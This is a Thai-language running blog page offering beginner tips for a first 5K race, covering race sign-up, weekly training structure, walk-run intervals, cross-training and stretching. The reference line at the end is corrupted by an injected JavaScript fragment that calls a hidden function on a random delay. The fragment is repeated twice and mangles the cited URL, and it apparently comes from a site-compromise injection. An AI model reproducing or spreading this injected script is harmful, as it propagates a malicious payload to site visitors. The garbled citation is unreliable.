• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

First 5K : เทคนิคง่ายๆ สำหรับคนอยากเริ่มวิ่ง 5 กิโลเเรก

kan by kan
1 October 2018
in Running Tips, Tips & Technics
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ปีใหม่ใกล้เข้ามาแล้วในเวลาอีกไม่กี่เดือน อยากเปลี่ยนตัวเองเป็นคนใหม่ เริ่มต้นออกกำลังกายด้วยการวิ่งถือเป็นเรื่องที่ยอมเยี่ยมและเป็นแผนการที่สามารถทำได้ไม่ยาก สำหรับมือใหม่ที่กำลังเข้าสู่โลกแห่งการวิ่ง เราแนะนำให้เริ่มจากระยะ 5 กิโลเมตรก่อนเป็นอันดับแรก จากนั้นค่อยไต่ระดับไปเป็น 10K จนถึงมาราธอนต่อไป

First 5K : เทคนิคง่ายๆ สำหรับคนอยากเริ่มวิ่ง 5 กิโลเเรก

1. ยุทธการขึ้นเขียงโดยบังคับ

หากไม่เห็นโลงคงไม่หลั่งน้ำตา หากไม่เห็นวันต้องลงวิ่งก็คงไม่ซ้อม (แนะนำว่าวันที่สมัครควรไปกันเป็นกลุ่ม หรือถ้าสมัครออนไลน์ก็ตาม ให้เพื่อนๆ คอยกดดันตัวเรา) ยังคงเป็นประโยคที่ใช้ได้กับนักวิ่งมือใหม่ เวลาลงสมัครงานอย่างเป็นทางการแล้ว มันจะมีแรงกดดันที่ช่วยบังคับตัวเองให้วิ่ง ถ้ากลัวว่าเราอยากจจะโดนงานวิ่งก็ให้ลองแชร์ทางโซเชียลอีกที จะได้ไม่มีข้ออ้างหนีงานวิ่ง และอย่าลืมให้เวลาฝึกซ้อมประมาณ 1-3 เดือนสำหรับการวิ่งระยะ 5K

2. ฝึกวิ่ง 3 ครั้งต่อสัปดาห์

นักวิ่งมือใหม่ไม่ต้องทุ่มเทฝึกซ้อมวิ่งทุกวัน เดียวร่างกายจะพังเอา เอาเวลาฝึกซ้อมแค่ 3 ครั้งต่อสัปดาห์ก็พอ โดยทั้งนี้เราคววรมีวันฝึกซ้อม Fast Day หรือวันฝึกวิ่งเร็ว หรือจะเป็นการเดินเร็วก็ได้ เริ่มต้องเอาแค่ระยะ 400 เมตรก่อนหรือสัก หนึ่งรอบสนามวิ่งมาตรฐาน ต่อมาก็ควรมีวันฝึกความแข็งแกร่งให้กล้ามเนื้อหรือ Strength Day เป็นวันวิ่งธรรมดา กลางๆ ไม่ต้องใส่สุดแรง แต่เพิ่มความชันขึ้นมา เพิ่มการวิ่งขึ้นเนินหรือวิ่งขึ้นลงบันได วิ่งขึ้นลงสัก 1-2 รอบ หรือจะจับเวลาสัก 10 – 15 นาทีก็ได้ แล้วค่อยๆ เพิ่มขึ้นไป สุดท้ายก็วันฝึกความอึดหรือวัน Endurance Day เป็นวันวิ่งยาว ช้าๆ เบาๆ แต่ให้ระยะทางไกลที่สุดเข้าไว้ มือใหม่อยากจจะวิ่งสัก 1-3 กิโลเมตรในตอนแรก จากนั้นค่อยเพิ่มเป็น 3-5 กิโลเมตร

First 5K : เทคนิคง่ายๆ สำหรับคนอยากเริ่มวิ่ง 5 กิโลเเรก

3. เดินบ้างก็ได้

พยายามผสมผสานการเดินและการวิ่งเข้าด้วยกัน ถ้าวิ่งแล้วรู้สึกไม่ไหวก็อย่าฝืน ให้ใช้วิธีการเดินสลับวิ่งแทน หรือจะเป็นการเดินเร็วที่เรียกว่า Brisk walk ก็ได้ พยายามปรับจังหวะวิ่งและเดินเป็นขั้นเป็นตอนไป อย่างเช่นวิ่ง 200 เมตร เดิน 100 เมตร สลับกัน เมื่อเราเริ่มแข็งแรงขึ้น ก็ให้ลดระยะเดินลง ปรับให้ระยะวิ่งเพิ่มมากขึ้น

4. เล่นเวทและฝึก Cross training

เพราะการวิ่งไม่ใช้แค่การใช้ขาอย่างเดียว แต่ยังมีกล้ามเนื้อมัดอื่นๆ แทบทุกส่วนในร่างกายที่ต้องใช้งานเวลาวิ่ง การฝึก cross training จะช่วยเพิ่มความแข็งแกร่งของข้อต่อและเอ็นยึดต่างๆ ความอึดและเพิ่มอัตราการรับออกซิเจนให้สูงขึ้น ตัวอย่างการฝึกก็เช่น การฝึกปั่นจักรยาน ว่ายน้ำและการเล่น Elliptical trainer เพราะถ้าฝึกวิ่งอย่างเดียว เราก็จะใช้กล้ามเนื้อชุดเดิมๆ ซ้ำไปซ้ำมา

การฝึกเล่นเวท มีหัวใจหลักก็เพื่อเพิ่มความแข็งแรงให้กับกล้ามเนื้อ เอ็นและเนื้อเยื่อยึดโยงต่างๆ เพื่อป้องกันอาการบาดเจ็บที่จะเกิดจากการวิ่ง สำหรับมือใหม่ทดลองค้นหาวิธีการฝึกเวทแบบ Full Body ในเวบหรือจะบนแอพก็ได้ ฝึกสัก 8-10 ครั้ง ทำ 3 เซต ในหนึ่งสัปดาห์ก็ฝึก 2-3 ครั้ง และการฝึกเวท ก็ไม่ได้หมายความว่าเราจะต้องถือลูกตุ่มหรือดรัมเบลเสมอไป การใช้น้ำหนักร่างกายหรือ bodyweight training ก็ถือว่าเป็นการเวทอย่างหนึ่งเหมือนกัน

5. ฝึกการยืดเส้น

การทำ stretch หรือยืดเส้นยืดสาย จะช่วยคลายมัดกล้ามเนื้อลง เพราะเมื่อเราฝึกมากขึ้นเท่าไหร่ มัดกล้ามเนื้อจะรัดตัวแน่นขึ้น ขาดความยืดหยุ่น และการฝึกยืดเส้นไม่ได้มีแค่ช่วงเวลาทำวอร์มอัพและคูลดาวน์เท่านั้น ( เวลาทำวอร์มอัพและคูลดาวน์ เราจะช่วยปลุกกล้ามเนื้อให้พร้อมกับการวิ่งและทำคูลดาวน์เพื่อคลายกล้ามเนื้อและการเต้นของหัวใจให้สู่สาวะปกติ) แต่สามารถทำได้เกือบทุกวัน แนะนำเวลาหลังจบการวิ่งเป็นหลักหรือก่อนนอน โฟกัสกล้ามเนื้อ Upper leg อย่าง hip flexors และ hamstrings อาจจะมีน่องด้วยก็ได้ นอกจากนี้การฝึกโยคะก็เป็นทางเลือกที่ดี เราจะได้ฝึก Strength และ Stretch ไปในตัว

เมื่อวันแข่งขันมาถึง อย่างแรกที่ต้องทำคือ ลืมเรื่องการทำ performance ที่ดีที่สุดไปซะ เป้าหมายแรกของเราคือ วิ่งอย่างไรให้จบครบระยะทาง มือใหม่หัดวิ่งควรเริ่มจากการวิ่งเบาๆ และคงที่เพื่อเก็บแรงไว้ก่อน เพื่อความสบายใจ ลองหามิตรสหายวิ่งไปด้วยกัน จะทำให้การแข่งขันดูไม่น่าเบื่อและสนุกไปด้วยกัน

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com”>www.quickandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More

Discussion about this post

  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.